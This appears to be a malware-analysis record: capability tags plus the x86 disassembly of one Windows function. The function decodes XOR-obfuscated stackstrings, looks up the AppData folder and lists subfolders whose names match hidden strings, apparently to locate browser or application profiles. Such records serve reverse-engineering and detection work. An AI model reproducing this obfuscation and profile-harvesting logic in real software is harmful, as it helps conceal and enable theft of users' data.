Function at 0x4075d3
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate files on windows
Get common file path

Disassembly:
push 0x3d4
mov eax, 0x4213c2
call fcn.00420a4f
mov esi, ecx
mov dword [ebp - 0x2d4], esi
xor ebx, ebx
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x2e8], esi
mov dword [ebp - 0x2d8], ebx
call fcn.00404293
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
xor edi, edi
mov dword [ebp - 4], ebx
inc edi
push 0x104
mov dword [ebp - 0x2d8], edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
mov dword [ebp - 0x2d4], ebx
pop ecx
test ebx, ebx
je 0x407b2b
push ebx
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push ebx
lea ecx, [ebp - 0x9c]
call fcn.0040406a
mov al, 0x52
mov dword [ebp - 4], edi
xor al, 0xe
mov byte [ebp - 0x2ce], 0
mov byte [ebp - 0x2cf], al
lea edx, [ebp - 0x9c]
lea eax, [ebp - 0x2cf]
mov byte [ebp - 0x2d0], 0xe
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 0x2ce], 0
call fcn.00407c78
pop ecx
push eax
lea ecx, [ebp - 0x9c]
call fcn.00406612
lea ecx, [ebp - 0x84]
call fcn.0040400e
movaps xmm0, xmmword [0x402b60]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x805e6a86
mov dword [ebp - 0x18], 0x7a77747d
mov dword [ebp - 0x14], 0x6a8173
movsx eax, byte [ebp - 0x2c]
and eax, 0x8000000f
jns 0x4076d4
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x1a
jb 0x4076c4
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x11], 0
push eax
lea ecx, [ebp - 0x18c]
call fcn.0040406a
mov byte [ebp - 4], 2
xor ecx, ecx
movaps xmm0, xmmword [0x4027a0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x50756967
mov dword [ebp - 0x1c], 0x6a637e5c
mov dword [ebp - 0x18], 0x7f696065
mov word [ebp - 0x14], 0x50
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x1c
jb 0x40771d
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x13], 0
push eax
lea ecx, [ebp - 0x174]
call fcn.0040406a
mov byte [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x402210]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0x2a05131a
mov byte [ebp - 0x40], 0
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0x13
jb 0x407759
lea eax, [ebp - 0x53]
mov byte [ebp - 0x40], 0
push eax
lea ecx, [ebp - 0x15c]
call fcn.0040406a
mov byte [ebp - 4], 4
xor ecx, ecx
movaps xmm0, xmmword [0x402980]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0x6a6f6069
mov dword [ebp - 0x40], 0x5a7563
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0x16
jb 0x407798
lea eax, [ebp - 0x53]
mov byte [ebp - 0x3d], 0
push eax
lea ecx, [ebp - 0x144]
call fcn.0040406a
mov byte [ebp - 4], 5
xor ecx, ecx
movaps xmm0, xmmword [0x402990]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x5d697b7c
mov dword [ebp - 0x1c], 0x76737c7f
mov dword [ebp - 0x18], 0x69807279
mov byte [ebp - 0x14], 0
movsx eax, byte [ebp - 0x30]
and eax, 0x8000000f
jns 0x4077f2
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x1b
jb 0x4077e2
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x14], 0
push eax
lea ecx, [ebp - 0x12c]
call fcn.0040406a
mov byte [ebp - 4], 6
xor ecx, ecx
movaps xmm0, xmmword [0x4023f0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x14], 0x28
movaps xmm0, xmmword [0x4020d0]
movups xmmword [ebp - 0x24], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x20
jb 0x407831
lea eax, [ebp - 0x33]
mov byte [ebp - 0x13], 0
push eax
lea ecx, [ebp - 0x114]
call fcn.0040406a
mov byte [ebp - 4], 7
xor ecx, ecx
movaps xmm0, xmmword [0x4024b0]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x1c], 0x48415c7e
movaps xmm0, xmmword [0x402960]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0x5d4b4247
mov word [ebp - 0x14], 0x72
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x28
jb 0x407881
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x13], 0
push eax
lea ecx, [ebp - 0xfc]
call fcn.0040406a
mov byte [ebp - 4], 8
xor edx, edx
movaps xmm0, xmmword [0x402430]
mov ecx, edx
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x1c], 0x2e0c0032
movaps xmm0, xmmword [0x402370]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0x30353a33
mov dword [ebp - 0x14], 0x2f39
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x2a
jb 0x4078d4
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x11], dl
push eax
lea ecx, [ebp - 0xe4]
call fcn.0040406a
mov byte [ebp - 4], 9
xor ecx, ecx
movaps xmm0, xmmword [0x402920]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0x5a75636a
mov byte [ebp - 0x40], 0
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0x13
jb 0x40790f
lea eax, [ebp - 0x53]
mov byte [ebp - 0x40], 0
push eax
lea ecx, [ebp - 0xcc]
call fcn.0040406a
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0xa
push ecx
lea eax, [ebp - 0xb4]
push eax
push ecx
lea ecx, [ebp - 0x2e4]
call fcn.00407bdd
push fcn.0040400e
push 9
push 0x18
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 0xc
push eax
call fcn.0041fcd1
mov eax, dword [ebp - 0x2e0]
mov edi, dword [ebp - 0x2e4]
mov dword [ebp - 0x2d0], eax
cmp edi, eax
je 0x407b0d
push edi
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x84]
call fcn.00405314
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0xb4]
mov dword [esp], 0x401b88
call fcn.00407c78
pop ecx
cmp dword [eax + 0x14], 0xf
jbe 0x4079b7
mov eax, dword [eax]
lea ecx, [ebp - 0x2cc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0xb4]
mov ebx, eax
call fcn.0040400e
cmp ebx, 0xffffffff
je 0x407ae9
test byte [ebp - 0x2cc], 0x10
je 0x407abf
lea eax, [ebp - 0x2a0]
push eax
lea ecx, [ebp - 0x54]
call fcn.0040406a
mov byte [ebp - 4], 0xe
mov cl, 0x2c
mov dword [ebp - 0x60], 0x40495e2c
xor eax, eax
mov dword [ebp - 0x5c], 0x495f4d49
mov byte [ebp - 0x58], 0
xor byte [ebp + eax - 0x5f], cl
inc eax
cmp eax, 7
jae 0x407a20
mov cl, byte [ebp - 0x60]
jmp 0x407a11
push ecx
lea eax, [ebp - 0x5f]
mov byte [ebp - 0x58], 0
push eax
lea ecx, [ebp - 0x54]
call fcn.004065de
cmp eax, 0xffffffff
jne 0x407a71
mov cl, 0x48
mov dword [ebp - 0x6c], 0x2e2d2c48
mov dword [ebp - 0x68], 0x3c243d29
xor eax, eax
mov byte [ebp - 0x64], 0
xor byte [ebp + eax - 0x6b], cl
inc eax
cmp eax, 7
jae 0x407a5b
mov cl, byte [ebp - 0x6c]
jmp 0x407a4c
push ecx
lea eax, [ebp - 0x6b]
mov byte [ebp - 0x64], 0
push eax
lea ecx, [ebp - 0x54]
call fcn.004065de
cmp eax, 0xffffffff
je 0x407ab3
lea eax, [ebp - 0x2a0]
push eax
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x28]
call fcn.00407c78
pop ecx
mov ecx, eax
mov byte [ebp - 4], 0xf
mov eax, dword [esi + 4]
push ecx
cmp eax, dword [esi + 8]
je 0x407aa3
mov ecx, eax
call fcn.00404031
add dword [esi + 4], 0x18
jmp 0x407aab
push eax
mov ecx, esi
call fcn.00407cd4
lea ecx, [ebp - 0x28]
call fcn.0040400e
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0xd
call fcn.0040400e
lea eax, [ebp - 0x2cc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4079db
mov edx, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x3e0]
push ebx
call fcn.00406f1f
call eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0xc
call fcn.0040400e
add edi, 0x18
cmp edi, dword [ebp - 0x2d0]
jne 0x407980
mov ebx, dword [ebp - 0x2d4]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea ecx, [ebp - 0x2e4]
call fcn.004066e2
lea ecx, [ebp - 0x9c]
call fcn.0040400e
mov eax, esi
call fcn.00420a0d
ret